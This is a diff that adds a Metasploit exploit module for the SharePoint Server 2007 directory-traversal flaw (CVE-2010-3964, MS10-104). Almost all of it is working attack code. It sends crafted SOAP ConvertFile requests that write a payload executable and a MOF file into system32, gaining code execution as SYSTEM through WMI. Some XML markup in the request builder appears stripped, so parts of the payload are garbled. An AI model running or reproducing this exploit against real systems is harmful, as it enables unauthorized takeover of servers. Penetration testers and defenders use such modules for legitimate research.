diff --git a/modules/exploits/windows/misc/ms10_104_sharepoint.rb b/modules/exploits/windows/misc/ms10_104_sharepoint.rb
new file mode 100644
index 0000000000..d20b01c3df
--- /dev/null
+++ b/modules/exploits/windows/misc/ms10_104_sharepoint.rb
@@ -0,0 +1,160 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::Tcp
+ include Msf::Exploit::EXE
+ include Msf::Exploit::WbemExec
+
+ def initialize
+ super(
+ 'Name' => 'Microsoft Office SharePoint Server 2007 Remote Code Execution',
+ 'Description' => %q{
+ This module exploits a vulnerability found in SharePoint Server 2007 SP2. The
+ software contains a directory traversal, that allows a remote attacker to write
+ arbitrary files to the filesystem, sending a specially crafted SOAP ConvertFile
+ request to the Office Document Conversions Launcher Service, which results in code
+ execution under the context of 'SYSTEM'.
+
+ The module uses uses the Windows Management Instrumentation service to execute an
+ arbitrary payload on vulnerable installations of SharePoint on Windows 2003 Servers.
+ It has been successfully tested on Office SharePoint Server 2007 SP2 over Windows
+ 2003 SP2.
+ },
+ 'Author' => [
+ 'Oleksandr Mirosh', # Vulnerability Discovery and PoC
+ 'James Burton', # Vulnerability analysis published at "Entomology: A Case Study of Rare and Interesting Bugs"
+ 'juan' # Metasploit module
+ ],
+ 'Platform' => 'win',
+ 'References' =>
+ [
+ [ 'CVE', '2010-3964' ],
+ [ 'OSVDB', '69817' ],
+ [ 'BID', '45264' ],
+ [ 'MSB', 'MS10-104' ],
+ [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-287/' ]
+ ],
+ 'Targets' =>
+ [
+ [ 'Microsoft Office SharePoint Server 2007 SP2 / Microsoft Windows Server 2003 SP2', { } ],
+ ],
+ 'DefaultTarget' => 0,
+ 'Privileged' => true,
+ 'DisclosureDate' => 'Dec 14 2010'
+ )
+
+ register_options(
+ [
+ Opt::RPORT(8082),
+ OptInt.new('DEPTH', [true, "Levels to reach base directory",7])
+ ], self.class)
+ end
+
+ # Msf::Exploit::Remote::HttpClient is avoided because send_request_cgi doesn't get
+ # the response maybe due to the 100 (Continue) status response even when the Expect
+ # header isn't included in the request.
+ def upload_file(file_name, contents)
+
+ traversal = "..\\" * datastore['DEPTH']
+
+ soap_convert_file = "" << "\x0d\x0a"
+ soap_convert_file << "" << "\x0d\x0a"
+ soap_convert_file << "" << "\x0d\x0a"
+ soap_convert_file << "http://#{rhost}:8082/HtmlTrLauncher" << "\x0d\x0a"
+ soap_convert_file << "" << "\x0d\x0a"
+ soap_convert_file << "#{traversal}#{file_name}" << "\x0d\x0a"
+ soap_convert_file << "html" << "\x0d\x0a"
+ soap_convert_file << "" << "\x0d\x0a"
+ soap_convert_file << "brochure_to_html" << "\x0d\x0a"
+ soap_convert_file << "" << "\x0d\x0a"
+ soap_convert_file << "20" << "\x0d\x0a"
+ soap_convert_file << "true" << "\x0d\x0a"
+ soap_convert_file << "" << "\x0d\x0a"
+ soap_convert_file << "#{Rex::Text.encode_base64(contents)}" << "\x0d\x0a"
+ soap_convert_file << "" << "\x0d\x0a"
+ soap_convert_file << "" << "\x0d\x0a"
+
+ http_request = "POST /HtmlTrLauncher HTTP/1.1" << "\x0d\x0a"
+ http_request << "User-Agent: Mozilla/4.0+(compatible; MSIE 6.0; Windows 5.2.3790.131072; MS .NET Remoting; MS .NET CLR 2.0.50727.42 )" << "\x0d\x0a"
+ http_request << "Content-Type: text/xml; charset=\"utf-8\"" << "\x0d\x0a"
+ http_request << "SOAPAction: \"http://schemas.microsoft.com/clr/nsassem/Microsoft.HtmlTrans.IDocumentConversionsLauncher/Microsoft.HtmlTrans.Interface#ConvertFile\"" << "\x0d\x0a"
+ http_request << "Host: #{rhost}:#{rport}" << "\x0d\x0a"
+ http_request << "Content-Length: #{soap_convert_file.length}" << "\x0d\x0a"
+ http_request << "Connection: Keep-Alive" << "\x0d\x0a\x0d\x0a"
+
+ connect
+ sock.put(http_request << soap_convert_file)
+ data = ""
+ read_data = sock.get_once(-1, 1)
+ while not read_data.nil?
+ data << read_data
+ read_data = sock.get_once(-1, 1)
+ end
+ disconnect
+ return data
+ end
+
+ # The check tries to create a test file in the root
+ def check
+
+ peer = "#{rhost}:#{rport}"
+ filename = rand_text_alpha(rand(10)+5) + '.txt'
+ contents = rand_text_alpha(rand(10)+5)
+
+ print_status("#{peer} - Sending HTTP ConvertFile Request to upload the test file #{filename}")
+ res = upload_file(filename, contents)
+
+ if res and res =~ /200 OK/ and res =~ /ConvertFileResponse/ and res =~ /CE_OTHER<\/m_ce>/
+ return Exploit::CheckCode::Vulnerable
+ else
+ return Exploit::CheckCode::Safe
+ end
+ end
+
+ def exploit
+
+ peer = "#{rhost}:#{rport}"
+
+ # Setup the necessary files to do the wbemexec trick
+ exe_name = rand_text_alpha(rand(10)+5) + '.exe'
+ exe = generate_payload_exe
+ mof_name = rand_text_alpha(rand(10)+5) + '.mof'
+ mof = generate_mof(mof_name, exe_name)
+
+ print_status("#{peer} - Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}")
+ res = upload_file("WINDOWS\\system32\\#{exe_name}", exe)
+ if res and res =~ /200 OK/ and res =~ /ConvertFileResponse/ and res =~ /CE_OTHER<\/m_ce>/
+ print_good("#{peer} - #{exe_name} uploaded successfully")
+ else
+ print_error("#{peer} - Failed to upload #{exe_name}")
+ return
+ end
+
+ print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}")
+ res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
+ if res and res =~ /200 OK/ and res =~ /ConvertFileResponse/ and res =~ /CE_OTHER<\/m_ce>/
+ print_good("#{peer} - #{mof_name} uploaded successfully")
+ else
+ print_error("#{peer} - Failed to upload #{mof_name}")
+ return
+ end
+
+ end
+
+end
+